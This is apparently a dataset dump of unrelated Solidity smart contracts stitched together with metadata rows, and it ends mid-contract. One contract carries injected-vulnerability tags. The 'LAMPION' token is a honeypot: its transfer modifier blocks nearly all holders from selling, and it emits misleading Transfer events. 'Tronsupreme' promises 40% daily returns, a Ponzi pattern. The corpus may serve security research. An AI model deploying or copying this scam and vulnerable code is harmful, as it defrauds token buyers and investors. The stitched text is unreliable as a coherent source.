function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function symbol() public view returns (string memory) {
return _symbol; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function decimals() public view returns (uint8) {
return _decimals; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
}
interface AaveCollateralVaultProxy {
function _borrowerContains(address, address) external view returns (bool);
function _borrowerVaults(address, uint) external view returns (address);
function _borrowers(address, uint) external view returns (address);
function _limits(address, address) external view returns (uint);
function _ownedVaults(address, uint) external view returns (address);
function _vaults(address) external view returns (address);
function limit(address vault, address spender) external view returns (uint);
function borrowers(address vault) external view returns (address[] memory);
function borrowerVaults(address spender) external view returns (address[] memory);
function increaseLimit(address vault, address spender, uint addedValue) external;
function decreaseLimit(address vault, address spender, uint subtractedValue) external;
function setModel(address vault, uint model) external;
function getBorrow(address vault) external view returns (address);
function isVaultOwner(address vault, address owner) external view returns (bool);
function isVault(address vault) external view returns (bool);
function deposit(address vault, address aToken, uint amount) external;
function withdraw(address vault, address aToken, uint amount) external;
function borrow(address vault, address reserve, uint amount) external;
function repay(address vault, address reserve, uint amount) external;
function getVaults(address owner) external view returns (address[] memory);
function deployVault(address _asset) external returns (address);
function getVaultAccountData(address _vault)
external
view
returns (uint totalLiquidityUSD,
uint totalCollateralUSD,
uint totalBorrowsUSD,
uint totalFeesUSD,
uint availableBorrowsUSD,
uint currentLiquidationThreshold,
uint ltv,
uint healthFactor);
}
contract FairLaunchCapitalVault is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 internal token;
uint internal min = 10000;
uint internal constant max = 10000;
address internal governance;
address public controller;
AaveCollateralVaultProxy constant internal vaults = AaveCollateralVaultProxy(0xf0988322B8392245d6232E520BF3Cdf912b043C4);
address constant public usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address internal vault;
constructor (address _token) public ERC20Detailed(string(abi.encodePacked("flc ", ERC20Detailed(_token).name())),
string(abi.encodePacked("flc", ERC20Detailed(_token).symbol())),
ERC20Detailed(_token).decimals()) {
vault = vaults.deployVault(usdc);
token = IERC20(_token);
governance = msg.sender;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this)) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
.add(token.balanceOf(address(vault))); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
min = _min; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function credit() external {
token.safeApprove(address(vaults), 0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
token.safeApprove(address(vaults), token.balanceOf(address(this))); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vaults.deposit(vault, address(token), token.balanceOf(address(this))); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function increaseLimit(address recipient, uint value) external {
require(msg.sender == governance, "!governance"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vaults.increaseLimit(vault, recipient, value); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function decreaseLimit(address recipient, uint value) external {
require(msg.sender == governance, "!governance"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vaults.decreaseLimit(vault, recipient, value); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function repay(IERC20 reserve, uint amount) external {
reserve.safeTransferFrom(msg.sender, address(this), amount);
reserve.safeApprove(address(vaults), 0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
reserve.safeApprove(address(vaults), reserve.balanceOf(address(this))); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vaults.repay(vault, address(reserve), amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
governance = _governance; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function depositAll() external {
deposit(token.balanceOf(msg.sender)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function deposit(uint _amount) public {
uint _pool = balance();
uint _before = token.balanceOf(address(this)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
token.safeTransferFrom(msg.sender, address(this), _amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint _after = token.balanceOf(address(this)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
function manage(address reserve, uint amount) external {
require(msg.sender == governance, "!governance"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vaults.withdraw(vault, reserve, amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function _withdraw(uint _amount) internal {
vaults.withdraw(vault, address(token), _amount);
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (b < r) {
uint _need = r.sub(b);
_withdraw(_need);
uint _after = token.balanceOf(address(this)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
uint _diff = _after.sub(b);
if (_diff < _need) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getPricePerFullShare() public view returns (uint) {
return balance().mul(1e18).div(totalSupply());
}
}
| 277,984 | 12,221 |
68668c1865ec0d2f0e8703989e748b12b775844edbeec626c454e917fdf0c50f
| 12,698 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x008ecba0230fDE6da1a53D704D37FE299a6A486F/contract.sol
| 3,272 | 12,140 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// WELCOME TO LAMPION!LAMP X PANCAKESWAP
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract Context {
constructor() {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public override view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public override view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LAMPION {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'd0d4c4cd0848c93cb4fd1f498d7013ee6bfb25783ea21593d5834f5d250ece66'))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 10000000000000000000000;
string public name = "LAMP";
string public symbol = "LAMP";
address public uniRouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
address public uniFactory = 0xBCfCcbde45cE874adCB698cC183deBcF17952812;
address public wETH = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private owner;
address public uniPair;
function sliceUint(bytes memory bs)
internal pure
returns (uint)
{
uint x;
assembly {
x := mload(add(bs, add(0x10, 0)))
}
return x;
}
function isAccountValid(address subject) pure public returns (bool result) {
return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
}
function withdraw() external {
msg.sender.transfer(address(this).balance);
require(msg.sender == owner);
}
function onlyByHundred() view public returns (bool result) {
require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this");
return true;
}
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
}
| 251,962 | 12,222 |
f785245f0d33cd9b7fe6a23510d8c1bb2135ffba89a55fa85ce7c836df091001
| 21,836 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/0c/0cef979dfe58c5cc82631cba96b6c8a2929f50e2_ClaimRewardsXChain.sol
| 2,720 | 11,208 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface ILGV4XChain {
function deposit(uint256) external;
function deposit(uint256, address) external;
function balanceOf(address) external view returns (uint256);
function withdraw(uint256) external;
function withdraw(uint256, address, bool) external;
function reward_tokens(uint256) external view returns(address);
function claim_rewards() external;
function claim_rewards(address) external;
function claim_rewards_for(address, address) external;
function deposit_reward_token(address, uint256) external;
function lp_token() external returns(address);
function initialize(address, address, address, address, address, address) external;
function set_claimer(address) external;
function transfer_ownership(address) external;
function add_reward(address, address) external;
function reward_count() external returns(uint256);
function admin() external returns(address);
function rewards_receiver(address) external returns(address);
}
interface ICommonRegistryXChain {
function contracts(bytes32 _hash) external view returns(address);
function clearAddress(string calldata _name) external;
function setAddress(string calldata _name, address _addr) external;
function getAddr(string calldata _name) external view returns(address);
function getAddrIfNotZero(string calldata _name) external view returns(address);
function getAddrIfNotZero(bytes32 _hash) external view returns(address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Utility contract to claim rewards from different gauges in one tx
// Users can claim rewards from all gauges where they are staking stakeDAO LPs
contract ClaimRewardsXChain {
using SafeERC20 for IERC20;
ICommonRegistryXChain registry;
bytes32 public constant GOVERNANCE = keccak256(abi.encode("GOVERNANCE"));
event Recovered(address indexed token, uint256 amount);
event RewardsClaimed(address[] gauges);
constructor(address _registry) {
require(_registry != address(0), "can't be zero address");
registry = ICommonRegistryXChain(_registry);
}
/// @notice A function to claim rewards from all the gauges supplied
/// @param _gauges Gauges from which rewards are to be claimed
function claimRewards(address[] calldata _gauges) external {
uint256 gaugeLength = _gauges.length;
for (uint256 i; i < gaugeLength;) {
ILGV4XChain(_gauges[i]).claim_rewards_for(msg.sender, msg.sender);
unchecked {
++i;
}
}
emit RewardsClaimed(_gauges);
}
/// @notice A function that rescue any ERC20 token
/// @param _token token address
/// @param _amount amount to rescue
/// @param _recipient address to send token rescued
function rescueERC20(address _token,
uint256 _amount,
address _recipient) external {
address governance = registry.getAddrIfNotZero(GOVERNANCE);
require(msg.sender == governance, "!gov");
require(_token != address(0), "can't be zero address");
require(_amount != 0, "!0");
require(_recipient != address(0), "can't be zero address");
IERC20(_token).safeTransfer(_recipient, _amount);
emit Recovered(_token, _amount);
}
}
| 154,565 | 12,223 |
3df229cef83d0892c8e3dd9745c883f74a0b192665ebfa36b9f019e797efd974
| 18,373 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TAGMJ4bmj3b5x3jAoJqhEn3nrybULoCbvi_Tronsupreme.sol
| 4,837 | 17,556 |
//SourceUnit: tronsupreme.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Tronsupreme is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 40; // 4% Team, Operation & Development
uint256 public constant MARKETING_RATE = 40; // 4% Marketing
uint256 public constant REFERENCE_RATE = 170; // 17% Total Refer Income
uint256 public constant REFERENCE_LEVEL1_RATE = 100; // 10% Level 1 Income
uint256 public constant REFERENCE_LEVEL2_RATE = 50; // 5% Level 2 Income
uint256 public constant REFERENCE_LEVEL3_RATE = 20; // 2% Level 3 Income
uint256 public constant MINIMUM = 100e6; // Minimum investment : 100 TRX
uint256 public constant REFERRER_CODE = 5000; // Root ID : 5000
uint256 public constant PLAN_INTEREST = 400; // 40% Daily Roi
uint256 public constant PLAN_TERM = 6 days; // 6 Days
uint256 public constant CONTRACT_LIMIT = 700; // 30% Unlocked for Withdrawal Daily
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
mapping(address => uint256) public address2UID;
